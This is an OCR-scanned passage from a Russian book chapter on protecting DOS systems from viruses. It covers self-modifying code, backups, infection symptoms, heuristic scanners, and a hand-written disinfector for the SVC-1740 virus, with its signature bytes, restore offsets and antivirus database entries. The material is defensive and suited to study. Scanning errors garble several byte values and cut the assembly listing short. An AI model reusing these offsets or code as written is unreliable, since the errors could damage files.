ARJ и т.д.) и данных в самораспаковывающихся файлах, создан ных утилитами типа ZIP2EXE. Если случайно упаковагь файл, зараженный вирусом, то обнаружение и удаление такого вируса без распаковки файла практически невоз можно. В данном случае типичной будет ситуация, при которой все антивирусные про граммы, неспособные сканировать внутри упакованных файлов, сообщат о том, что от вирусов очищены все диски, но через некоторое время вирус появится опять. Штаммы вируса могут проникнуть и в backup-копии программного обеспече ния при обновлении этих копий. Причем архивы и backup-копии являются основны ми поставщиками давно известных вирусов. Вирус может годами "сидеть" в дистрибутивной копии какого-либо программного продукта и неожиданно проявить ся при установке программ на новом компьютере. Никто не гарантирует полного уничтожения всех копий компьютерного виру са, так как файловый вирус может поразить не только выполняемые файлы, но и оверлейные модули с расширениями имени, отличающимися от СОМ или ЕХЕ. За-
352
Методы защиты грузочный вирус может остаться на какой-либо дискете и внезапно проявиться при случайной попытке перезагрузиться с нее. Поэтому целесообразно некоторое время после удаления вируса постоянно пользоваться резидентным антивирусным скане ром (не говоря уже о том, что желательно пользоваться им постоянно). К основным функциям "вируса" принадлежит его право на запись, чтение и способность распознавать состояние программы. Теперь можно попытаться сказать, что вес программы, которые обладают этими функциями, являются потенциальными "вирусами". Однако, несколько задумавшись над программными функциями, быстро приходят к заключению, что эти функции присутствуют почти во всех программах. Кроме того, обращает на себя внимание связь этих функций друг с другом. Если сде лать еще одни шаг и попытаться определить эти связи, то программы, которые чита ют, изменяют или пишут командные коды — это потенциальные вирусы. Теперь круг несколько сужается, поскольку число программ, изменяющих другие программы, от носительно невелико. Складывается впечатление, что таким образом действительно можно выявить вирусы. Однако опять возникают проблемы, которые вновь сводят на нет все достигнутое. Распознавание функций записи/чтения и их связей между собой в исследуемом программном обеспечении является хотя и проблематичным, но на первый взгляд разрешимым. Однако приведенный листинг на псевдоязыке (по Касперскому) программирования позволяет выявить возможные трудности: 100 move "ITE" 110 move "WR" 12 0 jmp 130 130 END Эта программа, например, при поверхностном контроле не вызвала бы ника ких нареканий. Она загружает две ячейки памяти и, после этого выполняет переход к ячейке 130, в которой расположена команда END. Кажется безобидная вещь! Одна-4 ко, если присмотреться внимательнее к программе, делается ясно, что после отработ ки двух первых команд программа полностью изменяется. 100 110 120 130
move "ITE" ,132 move "WR" ,130 imp 130 WRITS Посредством автомодификации команда END в ячейке 130 превращается в \ команду WRITE. Разумеется, подобная автомодификация может быть многократно вложенной. Это означает, что автомодифицируемый код в свою очередь генерирует \ новый автомодифицируемый код и т.д. . Таким образом анализ программных кодов не имеет смысла, поскольку вирус уходит на более глубокие уровни, чем тот, на котором работает тестирующая про• грамма. Конечно, при необходимости можно осуществить проверку с помощью ин терпретирующей обработки программы, поскольку в этом случае выполняются все шаги автомодификации. Большим недостатком интерпретирующего метода тестиро'. вания является значительное время, необходимое для того, чтобы выполнить, к при меру 40 Кб машинных кодов с помощью программы DEBUG в режиме трассировки. Кроме того, может оказаться, что вирусная часть программы вообще не выполняет-
Методы защиты ся, поскольку она узнает о тестировании или поскольку не выполняются условия внешней среды: дата, время и т.д. Известным примером является система зашиты копирования Prolok. Про грамма, защищенная с помощью этой системы, располагается на диске в зашифро ванном виде. Декодирование происходит поблочно после загрузки. Для того, чтобы устранить нежелательные манипуляции, принимают всевозможные меры, в том чис ле изменение вектора прерывания, призванное осложнить пошаговый режим. Если первое препятствие удается обойти, декодируется следующая программа и т.д. Таким образом, приходится отказаться от надежды распознать вирус до его активации. Однако есть определенный шанс, что удастся определить идентифика тор вируса. Если он состоит из простой последовательности символов, то можно посредством программы Debug просмотреть всю массовую память и обнаружить в ней аналогичные последовательности. Все программы, содержащие такую же по следовательность должны быть тщательно обследованы. Сложнее, если идентифи катор состоит из различных символов, например, X является вирусом, если сумма первых 10 байтов равна 99. С помощью обычной программы поиска этот иденти фикатор можно и не обнаружить. В таком случае необходимо разработать специ альную программу поиска, которая из каждой программы читает первые 10 байтов, образует сумму и, в случае, если результат равен 99, выводит на экран имя иссле дуемой программы. Вирус может быть обнаружен не только по идентификатору, но и по какой-либо его характеристике. Конечно, разработчик вируса вряд ли отважит ся зафиксировать в нем свое авторское право. Однако, если определенная комбина ция команд распространяется как центральная составляющая часть вируса, то она может помочь обнаружению самого вируса. Подобный подход эффективен лишь для вирусов, которые при распространении не изменяют своего облика, т.е. не автомодифицируются. Несмотря на указанные трудности, ниже приводятся листинги двух возмож ных решений тестирующих программ, которые в состоянии проверить все файлы в каталоге на существование признака вируса 909090h в начале файла или признака 31/30 в каталоге. Name VD1 ;VD1 проверяет стоит ли в начале ;файла признак 909090h Code Segment Assume CS:Code Assume DS:Nothing Assume esrNothing ORG lOOh Start: /Сообщение о старте lea dx/mes_sta mov ah,9 int 21h /Считать имя lea dx,charcount
I
354
Методы защиты
356
Методы защиты
Обнаружить программы-вирусы с помощью стандартных программ поиска чрезвычайно трудно, создать универсальную программу антивирус невозможно. Программа обнаружения вируса должна быть настроена на его характеристику, что в первую очередь предполагает знание структуры вируса. Поскольку автомодифика ция вируса, также как и стратегия его распространения могут оказаться вложенными друг в друга, то между разработчиками вирусов и разработчиками программ их об наружения можно ожидать такого же соревнования, как между создателями "защиты при копировании" и ее "разрушителями". Соревнования, в котором не может быть победителей.
Защитные вирусы Все вышесказанное наводит на мысль поискать защиту от вирусов с помо щью самих же вирусов. Возможности осуществить это, достаточно широки. Если признак вируса известен, можно, например, разработать другой вирус, который внешне имеет такой же признак, однако не предназначен для автомодифика ции. Этот вирус мог бы затем быть внедрен в систему. Программы, зараженные этим безвредным вирусом распознаются как опасные, но сами заражать они не в состоя нии. Однако, чтобы реализовать подобный подход, необходимо точное знание струк туры вируса. А если признак вируса дешифруется только единожды, инфицированные программы можно идентифицировать и с помощью программ об наружения. Другой вид защиты с помощью вирусов может быть осуществлен следующим образом. Вирус с задачей манипуляции, назначение которой состоит в том, чтобы отыскать изменения в зараженном программном обеспечении, внедряется в систему. Вирус вычисляет для зараженной программы одну или несколько контрольных сумм и запоминает их. Перед каждым запуском в первую очередь активируется вирус и, с
358
Методы защиты помощью задачи манипуляции, проверяется контрольная сумма. Если имеют место изменения, например, вследствие заражения другим вирусом, то это обнаруживается по изменившейся контрольной сумме и на экран может быть выдана соответствую щая информация. Кажущиеся столь очевидными, подобные возможности защиты при таком их использовании не обеспечивают ее в должной мере, несмотря на то, что в ряде спе циальных журналов уже опубликованы листинги такого рода защитных вирусов. Так же, как невозможно рационально выполнить с помощью вируса программные рас ширения, так же нельзя с их помощью реализовать рациональные механизмы защи ты. Это утверждение базируется на следующем: 1. Любые изменения программного обеспечения отменяют все гарантийные обяза тельства изготовителя; 2. Есть опасность потерять контроль над вирусом и оказаться виновным в матери альном ущербе. 3. Все функции защиты, реализуемые с помощью вируса могут быть столь же хоро шо достигнуты посредством традиционных технологий программирования. 4. Защиту, которой располагает программное обеспечение, можно обнаружить, деко дировать и затем обойти. Вывод: Вирусы в качестве защиты от вирусов не только ненадежны, но и опасны.
Архивирование Пользователь компьютера, не имеющий "свежего", надежного и полного ар хива содержимого своего винчестера, находится во власти случая. Этот случай мо жет подвернуться в виде срабатывания вируса, троянской программы или в виде внезапного отключения электроэнергии или, наконец, в виде воды, которую забыли на ночь закрыть на верхнем этаже. Пользователь, хранящий в компьютере ценную информацию, должен быть всегда настороже и иметь "отходной вариант" заранее. Единственным надежным методом защиты ценной информации от превратностей судьбы является архивирование. При наличии ежедневных копий, максимум, что мо жет сделать вирус, это уничтожить результаты последнего дня вашей работы. Состояние человека, который в одну секунду потерял содержимое винчесте ра трудно описать словами. Только что машина работала, все файлы были на месте. А сейчас информация, на создание которой было потрачено столько труда, исчезла и резервной копии вообще нет. Это настоящее крушение. И винить, кроме самого се бя, в ней некого. Как сказал один умный человек -перед каждой ошибкой существу ет какой то момент времени когда еще не поздно все исправить. А ведь достаточно было потратить 10-20 минут, чтобы все было иначе. Но поздно. Поэтому создание архива это далеко не та вещь, которую можно отложить на лотом. В сущности, это такая же часть работы пользователя, как программирование или ведение базы данных. Однако если по вопросам программирования или базам данных написаны горы литературы, то по вопросам архивирования практически нет
359
Методы защиты и каждый пользователь создает собственную систему. Часто этой системой является отсутствие таковой. Ниже приводятся некоторые рекомендации, основанные на лич ном горьком опыте автора.
Используйте программы резервирования FAT и главного каталога в AUTOEXEC.BAT Поскольку FAT и главный каталог являются наиболее уязвимыми управляю щими блоками MS DOS необходимо предпринимать меры по их дополнительному резервированию. Такую возможность обеспечивает, в частности, программа Image из версии 5 утилит П.Нортона, вызов которой следует вставить в AUTOEXEC.BAT. Паряду с Image можно использовать более старую программу Mirror, входящую в пакет PC Shell. Она записывает копии указанных секторов в конец винчестера. Резервирование MBR, бутсектора, FAT и каталогов важно не только в плане защиты от вирусов, но и как метод страховки на случай непредвиденного стечения обстоятельств или чьих-то (в том числе, и собственных) действий. Периодически ре комендуется выгружать файлы, создаваемые этими утилитами на специальную дис кету из "горячей десятки" (см. ниже). Это особенно важно, если при сжатии диска утилитой Norton Speed Disk задан режим перенесения всех каталогов в начало логи ческого диска.
Используйте систему "неделя-месяц-год" Если имеется возможность, то желательно иметь несколько комплектов дис кет для архива винчестера и вести циклическую запись на эти комплекты (например, для трех комплектов можно использовать "классический" принцип "неделя-месяцгод"). В этом случае различают главный архив, в котором хранится полный объем ис пользуемой информации и программного обеспечения, и текущие архивы, в которые заносятся только последние программные продукты и файлы. Текущих архивов мо жет быть несколько, в зависимости от периодичности их обновления. Главный архив целесообразно обновлять примерно раз в месяц, а текущие архивы — раз в неделю. Для создания главного архива рекомендуется использовать архиваторы RAR или ARJ. Они позволяют выгрузить 20М текстовой или табличной информации на 4 дискеты по 1.44М примерно за 10 мин. Следует отметить, что если на машине уста новлен дисковод 1.44М, то использование дискет 1.2М для создания архива неоправ данно. После создания главного архива рекомендуется провести оптимизацию винчестера, например, с помощью Norton Speed Disk из 9 версии утилит Нортона. Для создания недельного архива рекомендуется использовать архиватор RAR, имеющий собственную оболочку. При этом каждый архив в главном каталоге диска рекомендуется сворачивать в отдельный RAR файл. Если размер RAR файла превы шает размер дискеты, то его можно разбить на отдельные тома используя все тот же архиватор RAR, а затем записать на несколько дискет. При нехватке дискет в недель ный архив следует включать только каталоги, измененные за прошедшую неделю.
360
Методы защиты И, наконец, ежедневный архив включает все тексты, измененные за рабочий день. Выключать компьютер, не сбросив измененные тексты на дискету, не рекомен дуется. Следует помнить, что винчестеры портятся не только от вирусов. Вероят ность того, что уйдя с работы сегодня, завтра вы обнаружите, что информация на винчестере не читается, не равна нулю даже для самых лучших винчестеров, а тем более для наиболее дешевых моделей, попадающих в нашу страну. Если какой-то каталог на винчестере используется лишь эпизодически или только определенным пользователем, то после каждого использования желательно все программы в нем сворачивать архиватором PKARC, поскольку заразить програм му, находящуюся в архиве, практически невозможно. Очень часто процесс архивирования сводят к выгрузке с винчестера всех файлов. На самом деле архивированию подлежат и системные блоки, в частности MBR и бутсектор. Последние следует скопировать на дискету с помощью програм мы DiskTool 9 версии утилит Нортона. Кроме того, следует копировать на дискету FAT и главный каталог с помощью утилиты Mirror из PC Shell или Image из 9 версии утилит П.Нортона. Эту операцию следует выполнять не реже одного раза в неделю, а если предполагается использование каких-то новых программ, то при загрузке ЭВМ. Как и архиваторы, программы резервирования FAT и каталогов важны не толь ко в плане защиты от вирусов, но и как метод страховки на случай непредвиденного стечения обстоятельств. В особенности они важны для программистов, работающих на ассемблере, которые при отладке часто находятся буквально в шаге от разрушения файловой системы.
Запомните параметры, хранящиеся в CMOS-памяти, пока еще не поздно Сразу же запишите параметры CMOS, установленные с помощью процедурь SETUP. Для этого достаточно нажать комбинацию клавиш Ctrl-Alt-Esc. При этом н экран выдается таблица параметров, записанных в CMOS-памяти, из которых наибо лее важным является тип установленного винчестера. Эта таблица невелика и ее со держимое легко переписать на обычную самоклеящуюся этикетку для дискеть которую необходимо сразу же прикрепить к лицевой стороне корпуса компьютера После этого обязательно распечатайте содержимое CMOS на принтере. Это прощ всего сделать с помощью утилиты SYSINFO, из утилит П.Нортона. Один экземпля распечатки рекомендуется наклеить на папку с планом восстановления винчестер (см. ниже), а другой — на последнюю страницу инструкции к данной ЭВМ. Кром того необходимо записать содержимое CMOS в файл с помощью программь DiskTool из утилит П.Нортона, CMOSER или SAVECMOS А.Водяника. Для некото рых типов BIOS содержимое отдельных байтов CMOS не выдается на экран, однако важно для правильной работы машины.
f
Эти меры связаны с тем, что рано или поздно элемент, обеспечивающий пита ie CMOS-памяти, выйдет из строя. Кроме того, известно несколько троянских про амм, которые при запуске портят CMOS. Иногда содержимое CMOS уничтожаете
Методы защиты из-за ошибки в "нормальной" программе. Хотя элемент питания рассчитан на не сколько лет, опыт показывает, что средняя продолжительность жизни CMOS обычно не превышает 2-х лет. Если содержимое CMOS потеряно, то при отсутствии точных данных о типе установленного винчестера возникает ряд очень неприятных проблем, когда значение некоторых параметров приходится устанавливать экспериментально. Это особенно трудно, когда на машине установлен нестандартный винчестер.
Симптомы заражения Если на клетке слона прочтешь надпись "буйвол", не верь глазам своим. Су ществуют определенные признаки, указывающие на поражение программы или дис ка вирусами. Помимо очевидных, связанных с демонстрационным эффектом, характерным для данного вируса, к ним можно отнести следующие: изменение дли ны командного процессора (COMMAND.COM); выдача сообщений типа WRITE PROTECT ERROR при чтении информации, при загрузке программ с защищенных от записи дискет; изменение длины и/или даты создания программы (их рекоменду ется просматривать с помощью Norton Commander или другой оболочки, непосред ственно интерпретирующей содержимое каталогов); программа выполняется медленнее, чем обычно; возрастание времени загрузки, зацикливание при загрузке; необъяснимые обращения к дискетам или файлам на защищенных разделах винчес тера; потеря работоспособности некоторых резидентных программ или драйверов; аварийное завершение ранее нормально функционировавших программ; необъясни мые зависания или перезагрузки системы; уменьшение объема системной памяти или свободной памяти после загрузки. Резкое уменьшение доступной дисковой па мяти, хотя файлы не добавлялись и не удалялись; появление новых сбойных класте ров, дополнительных скрытых файлов или других изменений файловой системы (выявляются запуском CHKDSK или другой подходящей утилиты). Конечно, приведенные признаки носят эвристический характер и могут наблю даться на "здоровых" компьютерах по причинам, совершенно не связанным с вируса ми. Тем не менее, появление каких-то аномалий должно сразу настораживать пользователя. Если после перезагрузки с защищенной дискеты некоторые из этих при знаков исчезают, то есть смысл провести более или менее полное тестирование с по мощью программы ревизора (только не при загруженной с винчестера и возможно зараженной операционной системе), а также визуально сравнить содержимое бутсектора и таблицы разделов с эталонными. Полезно также просмотреть дамп программы (с помощью Norton Commander, PC Shell или другой подходящей утилиты). Если в кон це программы имеются подозрительные текстовые строки или, наоборот, нет ни одной текстовой строки, то такая программа заслуживает дополнительного исследования. Итак еще раз повторим важнейшие симптомы заражения; 1. Программы начинают работать медленнее обычного. 2. Программы выполняют такие обращения к дискам или дискетам, которые прежде не выполнялись. 3. Возросло время загрузки.
362
Методы защиты 4. Необъяснимые отказы системы. Программы, которые прежде загружались без проблем, прерываются с выдач( сообщения "Недостаточен объем памяти." 6. Увеличение занимаемого программами объема памяти. Неизвестные и /или необъяснимые сообщения об ошибках. 8. Уменьшение объема памяти на дискете или диске, хотя добавление или расшире ние файлов не производилось. 9. Резидентные программы (например, side kick) исполняются неверно или вообще не исполняются. Любой читатель может сказать, что некоторые из этих явлений он уже мно гократно наблюдал на своей системе. Это неудивительно, если вспомнить, насколь ко сложными стали за последнее время "малые" машины, работающие по/ MS-DOS и Windows. Но этот же читатель подтвердит, что подобные ошибки встречались лишь при использовании новых или измененных программ (разумеется, при исправной аппара туре). Если же Вы никогда не имели дела с такими ошибками, попробуйте одновре менно загрузить в ЭВМ несколько резидентных программ. Вы с гарантией получите то или иное сообщение об ошибке. Такие ошибки могут быть вызваны проблемой "переносимости", если, напри мер, "разнятся" адреса прерывания нескольких программ. Естественно, аналогичная проблема "переносимости" существует и для вирусов. Они должны работать тайком, чтобы пользователь этого не заметил. Это не всегда легко выполнить. Даже крупным по ставщикам программного обеспечения приходится сталкиваться с проблемой переноси мости и жизнестойкости своих программ, а разработчик имеет дело с аналогичными, если не с еще более сложными проблемами. Обычно для исчерпывающей проверки не хватает времени, а поэтому вирусы часто несовершенны и содержат ошибки.
Как избавиться от файлового вируса Итак, факт наличия вируса на машине установлен со 100%-ной достовернос тью. Более того, вирус пойман, распластан на операционном столе и вскрыт. "Вскрытие показало, что больной умер от вскрытия?" Увы, для того, чтобы избавиться от вируса, необходимо проделать еще ряд действий (что впрочем, также весьма занимательно). Обращение к профессиональным вирусологам: Способ первый — безотказный. Упаковываем зараженную дрозофилу (файл зараженный) каким-нибудь архиватором и посылаем ее по одному из трех адресов, которые можно найти в 1-й части данной работы, а лучше — сразу по всем трем. Не забудем сопроводить данную посылку краткой сопутствующей информацией, типа вирус обнаружен 31 декабря в 11 часов 59 минут, вероятный источник — гриппую щий сосед дядя Петя и пр. Через несколько дней файл-обновление, содержащий алгоритм лечения Ва шего вируса, будет готов, и Вы сможете его получить. Не исключено, что Ваш "кре стник" через месяц-другой будет включен в основную базу антивируса.
363
Методы защиты Итак, первый способ — совершенно безотказный, более того — обязатель ный, но... медленный н неинтересный. Пишем антивирус сами. Способ второй — так поступают настоящие пионе... пардон, программисты. Пример из практики. В дисплейном классе ВУЗа эпидемия, часть машин за ражены неизвестным вирусом. До конца сессии — несколько дней, выключение ма шин из учебного процесса — смерти подобно (в первую очередь — для обслуживающих класс сотрудников). Ситуация усугубляется тем, что студенты по стоянно таскают программы на дискетах с одной машины на другую. Как ограничить распространение эпидемии, пока противоядие еще не найдено? Выход — написать антивирус-блокировщик. Практически все резидентные вирусы определяют факт своего наличия в памяти машины, вызывая какое-нибудь программное прерывание с "хитрыми" параметрами. Если написать простую рези дентную программу, которая будет имитировать наличие вируса в памяти компьюте ра, правильно "отзываясь на пароль", то, скорее всего, вирус посчитает эту машину уже зараженной. По крайней мере, даже если некоторые файлы на машине и содер жат в себе код вируса, в случае использования блокировщика новых заражений на этой машине не последует. Разумеется, надо попытаться запустить блокировщик раньше всех остальных программ, например, в файле config.sys: install с:\util\stopsvc.com Правда, если вирус успел заразить COMMAND.COM или стартует из загру зочного сектора, то антивирус-блокировщик не поможет. Написание собственного сканирующего фага: Пока наше письмо по стремным российским телефонным линиям спешит к профессиональным вирусологам, попытаемся справиться с вирусом самостоятельно. "Спасение утопающих — дело рук самих утопающих". А кто спорит? Сам заразился сам и излечись. Разумеется, нам потребуется написать некую программу, которая сканирова ла бы каталоги указанного диска, искала зараженные файлы и исцеляла бы их. Важный момент — поиск и лечение должно производиться после загрузки с "чистой" дискеты! Вообще, это правило, которым обязательно следует пользоваться при использовании любого антивируса. Но если коммерческие монстрообразные программы, написанные профессиональными вирусологами, как-то пытаются про тиводействовать заразе, "обламывая" агрессивные резиденты, разыскивая и обраща ясь к оригинальным обработчикам прерываний, проверяя свой код на целостность и пр., то наша программа этого делать не сумеет ввиду своей простоты.
Общая структура программы Основу программы составляет алгоритм обхода дерева каталогов и поиска в них файлов с расширениями "СОМ" и "ЕХЕ".
364
Методы
защиты
В нужный момент, когда обнаружен очередной потенциально зараженный файл, вызывается функция infected() с именем файла в качестве параметра. Задачей этой функции является проверка указанного файла на инфицированность и возврат соответствующего признака. В случае положительного теста на инфицированность вызывается функция cure(), которая и выполняет операцию исцеления зараженной программы. Если Вам потребуется написать "лечилку" для какого-нибудь другого вируса, достаточно будет просто изменить содержимое процедур сш*е() и infected(). Детектирование вирусов при помощи сигнатур Итак, как же определить — заражена программа или нет? В прошлой главе мы делали это чисто визуально, теперь же от нас требуется определить формальные признаки зараженности. Общепризнанным является метод, в основе которого лежит принцип выделе ния "сигнатуры" вируса. Сигнатура — это последовательность байтов, однозначно характерная для конкретного вируса. Разумеется, неправильно было бы использовать для детектирования файла такие ненадежные признаки, как, например, 60 секунд во времени создания файла. Во-первых, эти признаки могут быть случайно изменены (например, при упаков ке/распаковке некоторыми архиваторами); во-вторых, слишком многие вирусы ис пользуют для самоопознавания одинаковые признаки; наконец, эти признаки могут принадлежать совершенно здоровой программе (вспомните забавную историю с "ан тивирусом" antitime и сигнатурой "MsDos"). Вообще говоря, сигнатура — это множество N пар {Pi,Bi}, i=l..N, где Pi-мес тоположение i-ro байта, Bi- значение i-ro байта. Но на практике часто используют не прерывные сигнатуры, для которых важны только местоположение первого байта и длина сигнатуры. Какова должна быть длина сигнатуры? Вообще говоря, чем больше — тем лучше, в идеале — в сигнатуру должна входить вся неизменяемая часть вируса, что гарантирует однозначность распознавания. Но это невероятно увеличило бы объем антивируса, (а известные продукты лечат тысячи вирусов) и замедлило бы процесс распознавания. Таким образом, целесообразным следует считать количество от не скольких байт до нескольких десятков байт — не больше. Остановимся на цифре 6. Итак, в качестве сигнатуры вируса SVC-1740 выберем 6 байтов вируса, раз мещающиеся начиная с 1724-го байта, если считать от конца зараженного файла (с I 16-го байта вируса). Вообще говоря, весьма вероятно, что эти 6 байтов совпадают для всех вирусов семейства SVC, но, во-первых, маловероятно, чтобы машина была заражена несколькими вирусами одного семейства сразу, а во-вторых, у автора в кол лекции просто отсутствуют остальные экземпляры. А вот выбор в качестве сигнату ры 6-ти первых байтов вируса был бы точно ошибкой, ибо подобное начало [ характерно для очень большого числа вирусов.
365
Методы
защиты
Итак, сигнатура: 0B4h 83h OCDh 21h 5Eh 56h длиной 6 байтов лежит начиная с 1724-го байта, если считать от конца зараженной программы. Метод восстановления зараженной программы Теперь рассмотрим вопрос лечения программы. Мы определили ранее фраг менты зараженной программы, которые необходимо восстановить для излечения. Напомним, что вирус SVC-1740, заражая программу, приписывается к ее кон цу, сохраняя в своем теле первые 24 байта оригинальной программы. Поэтому, вооб ще-то, для излечения как ЕХЕ -программ, так и СОМ-программ вполне достаточно: •
переписать сохраненные 24 байта в начало программы без учета того, что большая их часть не была изменена;
•
отсечь 1740 вирусных байтов от хвоста зараженной программы. Но такой легкий алгоритм пригоден не для всех вирусов. В общем случае, следуя стратегии зара жения, необходимо:
•
в СОМ-программе восстановить только первые три байта;
•
в ЕХЕ-програмее — 6 ранее измененных слов заголовка. Поэтому для функции cure() предусмотрим именно второй алгоритм лечения, пусть более медленный и сложный, зато — поучительный. Итак, для СОМ-файла: •
считываем 3 байта, с 80-го по 78-й, если считать от конца файла, и переписыва ем их в начало файла. Для ЕХЕ-файла:
•
перемещаем 6 слов согласно таблице Источник, отсчет от хвоста файла 78 76 66 64 60 58
Приемник, отсчет от головы файла 2 4 14 16 20 22
Для обоих типов файлов: •
отсекаем последние 1740 байтов. Кстати, именно так когда-то начинался некогда великий AidsTest...
Автоматизированные антивирусные средства. Способ третий. Программировать не обязательно, можно использовать спе циализированный антивирус, которому достаточно указать сигнатуру, метод и пара метры алгоритма излечения, а все остальное он сделает сам. Как правило, подобного рода антивирусы имеют следующую структуру:
366
Методы защиты " программа-ядро; - база данных, содержащая описание способов поиска и лечения вирусов. Пользователю пакета сообщается формат записей в базе данных, так что он о мере необходимости может добавлять в нее свой "улов". Кроме того, автор антиируса периодически "издает" новые фрагменты своей базы и рассылает их пользоателям. Рассмотрим некоторые антивирусы еще раз, но уже с этой точки зрения.
1акет "Доктор Касперский" Одним из первых антивирусов, построенных по такой схеме, был пакет "Докор Касперский", предок нынешнего AVP. В общем и целом схема этого продукта соранилась и до наших дней, за исключением того маленького фактика, что форма! ирусной базы в настоящее время для пользователя закрыт. Описание формата ба.2 анных старых версий можно найти в неоднократно упоминавшейся книжке Е. Касерского.
Антивирус AVSP Несколько лет назад некоторую известность имел пакет avsp (автор — А. Бошсов). Помимо возможностей по поиску и удалению вирусов, обновлению базы даных, пакет содержал также средства блокирования распространения вирусов v редства инспектирования содержимого дисков (аналогично Adlnf). База данные ранится в текстовом формате. Посмотрим, например, как выглядит запись в этой бае, соответствующая вирусу SVC-1740 (разработана А. Борисовым): SVC-1740 ПМВ=138.1-44697 YPE=PROGRAM IZE-1740 MASK-83EE032E8984C70 6065633D2B4 83 CAN=*.COM ( Opt(End:~1736) Mov (MP:1656,Head:0, 24) Tr(End:-1740) } CAN=*.EXE' { Opt(St:4) Mov(MP:1656,Head:0,24) Tr (End:-1740) } EXT-SVC версия 4.0 _END Обратим внимание на следующие строки в записи: MASK=... задает сигнатуру вируса. Примененная в этом примере сигнатуре есколько отличается от придуманной нами, она длинней (14 байтов) и начинается с -го байта вируса. (Кстати, последние 2 ее байта — первые байты нашей сигнатуры) SCAN=*.COM...правило лечения СОМ-программы. От позиции начала сиг натуры (MP) отсчитывается 1656 байтов (начало сохраненных 24-х байтов головь ригинальной программы) и перемещаются в начало программы (Head:0). Вслед 3£ тим от файла отсекается 1740 байтов, считая от конца (End). SCAN=*.EXE...правило лечения ЕХЕ-программ. Аналогично правилу до СОМ-программ. Т.е. лечение производится по рассмотренному нами ранее "быстрому" алго>итму.
367
Методы
защиты
Автору несколько раз приходилось использовать пакет avsp на практике. Па кет несколько староват, но прост и надежен. Антивирус MultiScan Сравнительно недавно появился антивирус MultiScan (автор — В. Колесни ков, Киев). Этот антивирус также обладает возможностями по обновлению пользова телем базы данных, представленной в текстовой форме. К стыду своему автор вынужден признаться, что лишь с огромным трудом су мел составить правильную запись для поиска и лечения вируса SVC-1740. Пришлось сместить к началу вируса и расширить до 10 байтов ( так было надо сигнатуру: .! - (признак начала сигнатуры) Тип, длина и имя вируса: cl"7 4 0 svc Смещение для сигнатуры в файле: 0 Длина сигнатуры и сигнатура: 10 Е8 00 00 5Е 83 ЕЕ 03 2Е 89 84 Количество восстанавливаемых байтов: 24 Смещение между настоящими байтами и началом вируса: 67С
Общие понятия об эвристическом анализе Поговорим немного об эвристическом анализе. (Все нижесказанное — плод авторских размышлений и догадок, оно может истине и не соответствовать. Под эвристическим или херистическим (я не ругаюсь, это транскрипция с ан глийского) анализом (греч. heurisco — искать, открывать) в вирусологии сейчас при нято понимать комплекс методов, позволяющих произвести автоматическую оценку "вирусоподобности" любой конкретной программы. Вы, вероятно, сталкивались с интересным фактом — при работе некоторых антивирусов на экран выдаются предупреждающие сообщения типа: файл возможно заражен EXE.COM.CRYPT вирусом. Это означает, что антивирус изучил код про граммы и пришел к выводу — этот код (или его часть) может принадлежать злопасному электронному микроорганизму. Это результат произведенного антивирусом эвристического анализа. Принцип действия подобных эвристических анализаторов, вероятнее всего, за ключается в следующем: антивирус содержит в себе интереснейший механизм эмуля ции работы процессора. Антивирус считывает код программы и начинает ее выполнять, но не по-настоящему, а "понарошку". Он делает вид, что выполняет процессорные ко манды, а на самом деле, анализируя их код, видоизменяет соответствующим образом значения своих внутренних образов регистров и ячеек оперативной памяти. Этот процесс можно увидеть визуально, запустив антивирус MScan с ключом /as. В правом верхнем углу появляется окно, несколько напоминающее окно некоего отладчика и содержащее дизассемблированный фрагмент исследуемой программы и значения всех регистров. Словно бы невидимая рука нажимает клавишу пошаговой трассировки, и цветовой селектор, отмечающий текущую команду, скачет по окну, вызывая перемигивание отображаемых значений регистров и флагов. Если код программы зашифрован, то антивирус пошагово "раскрутит" его. И не помогут никакие ухищрения с Intl/Int3, обычно затрудняющие работу в "настоя-
368
М е т о д ы защиты щих" отладчиках, ведь все это исполнение — "понарошку"! Но как уже говорилось раньше, в главе "Как обуть антивирус", эвристики скованы. Даже если вирус полиморфный, рано или поздно после отработки всех его расшифровщиков в памяти будет лежать его "ядро" — неизменяемый фрагмент, со держащий сигнатуру. Таким образом, к определению сигнатуры достаточно добавить всего один параметр — число шагов, после которых заведомо эта сигнатура появит ся в памяти. Собственно эвристический анализ заключается в следующем — в процессе пошагового выполнения антивирус "загибает пальцы": •
встретилось call Next — загнули большой палец;
•
появилось pop si — загнули указательный, а если все-таки выполнился ret — про сто разогнули большой;
•
если sub si, 103h — загнули средний и т.п.
После окончания работы антивирус "считает фишки", и если их больше чем надо — раздается вопль: вероятен вирус! Конечно, это очень упрощенная схема. Но уже на ней видны основные недо статки современных эвристических анализаторов: а) если гипотетический вирус в процессе своей работы взаимодействует с же лезом, то эмулятор процессора не сможет этого отловить, это для него — verboten! б) "глубина" эвристического анализа не слишком велика, ибо приходится дер жать в памяти не только содержимое регистров, но и содержимое (возможно боль ших) фрагментов ОЗУ, а также крайне сложно пытаться эмулировать работу "толстых" программ, написанных на языках высокого уровня. Используют эвристический анализ многие современные антивирусы — DrWeb, AVP, MScan и пр. Практика показывает, что наиболее "зорким" эвристичес ким анализатором обладает DrWeb, но в стремлении обнаружить побольше вирусов допускает много ошибок, в том числе и очень опасных. Хотя чемпионом мира по па никерству, пожалуй, обладает антивирус NAV. Антивирус MultiScan, хотя и ошибает ся очень часто, зато умеет автоматически лечить некоторые типы вирусов, что пока недоступно другим антивирусам.
Как избавиться от загрузочного вируса Согласно определению, вирус — саморазмножающаяся программа. Следова тельно, заражать, т.е. внедрять свои функционально идентичные копии, он может только в другие программы. Мы уже ознакомились со способами обнаружения, исследования и удаления так называемых файловых вирусов, т.е. вирусов, заражающих программы, размещен ные внутри дисковых программных файлов с расширениями .СОМ и .ЕХЕ. В прин ципе, существуют и другие программные компоненты, размещенные в файлах, и также известны специализирующиеся на них вирусы.
369
